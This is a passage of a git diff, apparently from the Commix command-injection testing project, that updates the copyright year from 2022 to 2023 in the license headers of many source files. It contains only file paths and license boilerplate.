.../injections/results_based/techniques/classic/__init__.py | 2 +- .../results_based/techniques/classic/cb_enumeration.py | 2 +- .../results_based/techniques/classic/cb_file_access.py | 2 +- .../results_based/techniques/classic/cb_handler.py | 2 +- .../results_based/techniques/classic/cb_injector.py | 2 +- .../results_based/techniques/classic/cb_payloads.py | 2 +- .../results_based/techniques/eval_based/__init__.py | 2 +- .../results_based/techniques/eval_based/eb_enumeration.py | 2 +- .../results_based/techniques/eval_based/eb_file_access.py | 2 +- .../results_based/techniques/eval_based/eb_handler.py | 2 +- .../results_based/techniques/eval_based/eb_injector.py | 2 +- .../results_based/techniques/eval_based/eb_payloads.py | 2 +- src/core/injections/semiblind/__init__.py | 2 +- src/core/injections/semiblind/techniques/__init__.py | 2 +- .../injections/semiblind/techniques/file_based/__init__.py | 2 +- .../semiblind/techniques/file_based/fb_enumeration.py | 2 +- .../semiblind/techniques/file_based/fb_file_access.py | 2 +- .../semiblind/techniques/file_based/fb_handler.py | 2 +- .../semiblind/techniques/file_based/fb_injector.py | 2 +- .../semiblind/techniques/file_based/fb_payloads.py | 2 +- .../semiblind/techniques/tempfile_based/__init__.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_enumeration.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_file_access.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_handler.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_injector.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_payloads.py | 2 +- src/core/main.py | 2 +- src/core/modules/__init__.py | 2 +- src/core/modules/modules_handler.py | 2 +- src/core/modules/shellshock/__init__.py | 2 +- src/core/requests/__init__.py | 2 +- src/core/requests/authentication.py | 2 +- src/core/requests/headers.py | 2 +- src/core/requests/parameters.py | 2 +- src/core/requests/proxy.py | 2 +- src/core/requests/redirection.py | 2 +- src/core/requests/requests.py | 2 +- src/core/requests/tor.py | 2 +- src/core/shells/__init__.py | 2 +- src/core/shells/bind_tcp.py | 2 +- src/core/shells/reverse_tcp.py | 2 +- src/core/tamper/__init__.py | 2 +- src/core/tamper/backslashes.py | 2 +- src/core/tamper/backticks.py | 2 +- src/core/tamper/base64encode.py | 2 +- src/core/tamper/caret.py | 2 +- src/core/tamper/dollaratsigns.py | 2 +- src/core/tamper/doublequotes.py | 2 +- src/core/tamper/hexencode.py | 2 +- src/core/tamper/multiplespaces.py | 2 +- src/core/tamper/nested.py | 2 +- src/core/tamper/printf2echo.py | 2 +- src/core/tamper/singlequotes.py | 2 +- src/core/tamper/slash2env.py | 2 +- src/core/tamper/sleep2timeout.py | 2 +- src/core/tamper/sleep2usleep.py | 2 +- src/core/tamper/space2htab.py | 2 +- src/core/tamper/space2ifs.py | 2 +- src/core/tamper/space2plus.py | 2 +- src/core/tamper/space2vtab.py | 2 +- src/core/tamper/uninitializedvariable.py | 2 +- src/core/tamper/xforwardedfor.py | 2 +- src/core/testing.py | 2 +- src/thirdparty/__init__.py | 2 +- src/utils/__init__.py | 2 +- src/utils/colors.py | 2 +- src/utils/common.py | 2 +- src/utils/crawler.py | 2 +- src/utils/install.py | 2 +- src/utils/logs.py | 2 +- src/utils/menu.py | 2 +- src/utils/purge.py | 2 +- src/utils/requirments.py | 2 +- src/utils/session_handler.py | 2 +- src/utils/settings.py | 6 +++--- src/utils/simple_http_server.py | 2 +- src/utils/update.py | 2 +- src/utils/version.py | 2 +- 101 files changed, 103 insertions(+), 103 deletions(-) diff --git a/LICENSE.txt b/LICENSE.txt index 1fcc28efab..90437c6163 100644 --- a/LICENSE.txt +++ b/LICENSE.txt @@ -1,4 +1,4 @@ -Copyright (c) 2014-2022 Anastasios Stasinopoulos +Copyright (c) 2014-2023 Anastasios Stasinopoulos This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/commix.py b/commix.py index 3d1b518bf2..538de6f371 100755 --- a/commix.py +++ b/commix.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/setup.py b/setup.py index 16a0a4cc33..5e356a3ae1 100644 --- a/setup.py +++ b/setup.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/__init__.py b/src/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/__init__.py +++ b/src/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/__init__.py b/src/core/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/__init__.py +++ b/src/core/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/compat.py b/src/core/compat.py index 48af6f3a36..9a0d60c0f1 100644 --- a/src/core/compat.py +++ b/src/core/compat.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/convert.py b/src/core/convert.py index fad3bae9d9..c14585bf28 100644 --- a/src/core/convert.py +++ b/src/core/convert.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/__init__.py b/src/core/injections/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/__init__.py +++ b/src/core/injections/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/__init__.py b/src/core/injections/blind/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/blind/__init__.py +++ b/src/core/injections/blind/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/__init__.py b/src/core/injections/blind/techniques/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/blind/techniques/__init__.py +++ b/src/core/injections/blind/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/__init__.py b/src/core/injections/blind/techniques/time_based/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/blind/techniques/time_based/__init__.py +++ b/src/core/injections/blind/techniques/time_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 572f1d6632..919491f8af 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 07506097cd..2615931ce5 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 9c42254ef7..7848b9c0c2 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index e4615528d2..d52e1ff449 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index b119491275..6203f83e7b 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/__init__.py b/src/core/injections/controller/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/controller/__init__.py +++ b/src/core/injections/controller/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 73bb05db70..276a9dac2a 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 8cba07791f..b269673d58 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index a4d7ea7c93..ed24231325 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index febae03580..d88e06b65a 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/__init__.py b/src/core/injections/results_based/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/results_based/__init__.py +++ b/src/core/injections/results_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/__init__.py b/src/core/injections/results_based/techniques/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/results_based/techniques/__init__.py +++ b/src/core/injections/results_based/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/__init__.py b/src/core/injections/results_based/techniques/classic/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/results_based/techniques/classic/__init__.py +++ b/src/core/injections/results_based/techniques/classic/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 8c5b302ec0..93aff44a50 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index 88bfc902bf..571c998fcd 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 976e32277d..5d741557a8 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index c0feaad338..01e7b3de25 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index ca13a188f9..769defe8f7 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/__init__.py b/src/core/injections/results_based/techniques/eval_based/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/results_based/techniques/eval_based/__init__.py +++ b/src/core/injections/results_based/techniques/eval_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 439181a3bf..c4ba704b92 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index 86d0a3040b..dc72f6183e 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index ada5cb7ac5..0a2d8d7619 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index ceb42396fb..8fd3a8cd04 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index 0b30bc8f5f..f74103f731 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/__init__.py b/src/core/injections/semiblind/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/semiblind/__init__.py +++ b/src/core/injections/semiblind/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/__init__.py b/src/core/injections/semiblind/techniques/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/semiblind/techniques/__init__.py +++ b/src/core/injections/semiblind/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/__init__.py b/src/core/injections/semiblind/techniques/file_based/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/semiblind/techniques/file_based/__init__.py +++ b/src/core/injections/semiblind/techniques/file_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 50000cb500..f2f70c50d8 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index 45d85f4a71..a030190b34 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 16ba4b9c15..edb2c4b94e 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index fe1a12e63e..18af48a258 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index ada7d25040..390b88ee39 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index d8ad42ca0c..02832e9f77 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index a588bd3efe..74008aa710 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 20150f3a53..87798a7129 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 6f78449373..11f0e12f70 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index f68e0a11d8..88f76366a1 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/main.py b/src/core/main.py index 3bb52ca98c..6a4d0ee58b 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/__init__.py b/src/core/modules/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/modules/__init__.py +++ b/src/core/modules/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project 